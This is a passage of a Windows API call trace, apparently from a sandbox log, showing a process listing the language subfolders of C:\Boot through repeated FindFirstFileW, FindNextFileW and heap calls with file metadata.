ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.069] FindClose (in: hFindFile=0x5a2de8 | out: hFindFile=0x5a2de8) returned 1 [0033.070] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4b0000) returned 1 [0033.070] FindNextFileW (in: hFindFile=0x5a1da0, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0033.070] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0033.070] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2de8 [0033.070] FindNextFileW (in: hFindFile=0x5a2de8, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.070] FindNextFileW (in: hFindFile=0x5a2de8, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.070] FindClose (in: hFindFile=0x5a2de8 | out: hFindFile=0x5a2de8) returned 1 [0033.070] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4b0000) returned 1 [0033.070] FindNextFileW (in: hFindFile=0x5a1da0, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0033.070] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0033.070] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2de8 [0033.070] FindNextFileW (in: hFindFile=0x5a2de8, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.070] FindNextFileW (in: hFindFile=0x5a2de8, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.070] FindClose (in: hFindFile=0x5a2de8 | out: hFindFile=0x5a2de8) returned 1 [0033.071] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4b0000) returned 1 [0033.071] FindNextFileW (in: hFindFile=0x5a1da0, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0033.071] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0033.071] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2de8 [0033.071] FindNextFileW (in: hFindFile=0x5a2de8, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.071] FindNextFileW (in: hFindFile=0x5a2de8, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.071] FindClose (in: hFindFile=0x5a2de8 | out: hFindFile=0x5a2de8) returned 1 [0033.071] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4b0000) returned 1 [0033.071] FindNextFileW (in: hFindFile=0x5a1da0, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0033.071] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0033.071] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2de8 [0033.071] FindNextFileW (in: hFindFile=0x5a2de8, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.072] FindNextFileW (in: hFindFile=0x5a2de8, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.072] FindClose (in: hFindFile=0x5a2de8 | out: hFindFile=0x5a2de8) returned 1 [0033.072] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4b0000) returned 1 [0033.072] FindNextFileW (in: hFindFile=0x5a1da0, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0033.072] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0033.072] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2de8 [0033.072] FindNextFileW (in: hFindFile=0x5a2de8, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.072] FindNextFileW (in: hFindFile=0x5a2de8, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.072] FindClose (in: hFindFile=0x5a2de8 | out: hFindFile=0x5a2de8) returned 1 [0033.072] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4b0000) returned 1 [0033.072] FindNextFileW (in: hFindFile=0x5a1da0, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0033.072] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0033.072] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2de8 [0033.073] FindNextFileW (in: hFindFile=0x5a2de8, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.073] FindNextFileW (in: hFindFile=0x5a2de8, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.073] FindClose (in: hFindFile=0x5a2de8 | out: hFindFile=0x5a2de8) returned 1 [0033.073] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4b0000) returned 1 [0033.073] FindNextFileW (in: hFindFile=0x5a1da0, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0033.073] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0033.073] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2de8 [0033.073] FindNextFileW (in: hFindFile=0x5a2de8, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.073] FindNextFileW (in: hFindFile=0x5a2de8, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.073] FindClose (in: hFindFile=0x5a2de8 | out: hFindFile=0x5a2de8) returned 1 [0033.073] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4b0000) returned 1 [0033.073] FindNextFileW (in: hFindFile=0x5a1da0, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0033.073] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0033.073] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2de8 [0033.113] FindNextFileW (in: hFindFile=0x5a2de8, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.113] FindNextFileW (in: hFindFile=0x5a2de8, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.114] FindClose (in: hFindFile=0x5a2de8 | out: hFindFile=0x5a2de8) returned 1 [0033.114] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4b0000) returned 1 [0033.114] FindNextFileW (in: hFindFile=0x5a1da0, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0033.114] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0033.114] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2de8 [0033.114] FindNextFileW (in: hFindFile=0x5a2de8, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.114] FindNextFileW (in: hFindFile=0x5a2de8, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.114] FindClose (in: hFindFile=0x5a2de8 | out: hFindFile=0x5a2de8) returned 1 [0033.115] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4b0000) returned 1 [0033.115] FindNextFileW (in: hFindFile=0x5a1da0, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0033.115] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0033.115] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a52f0 [0033.116] FindNextFileW (in: hFindFile=0x5a52f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.116] FindNextFileW (in: hFindFile=0x5a52f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.116] FindClose (in: hFindFile=0x5a52f0 | out: hFindFile=0x5a52f0) returned 1 [0033.116] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4b0000) returned 1 [0033.116] FindNextFileW (in: hFindFile=0x5a1da0, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, 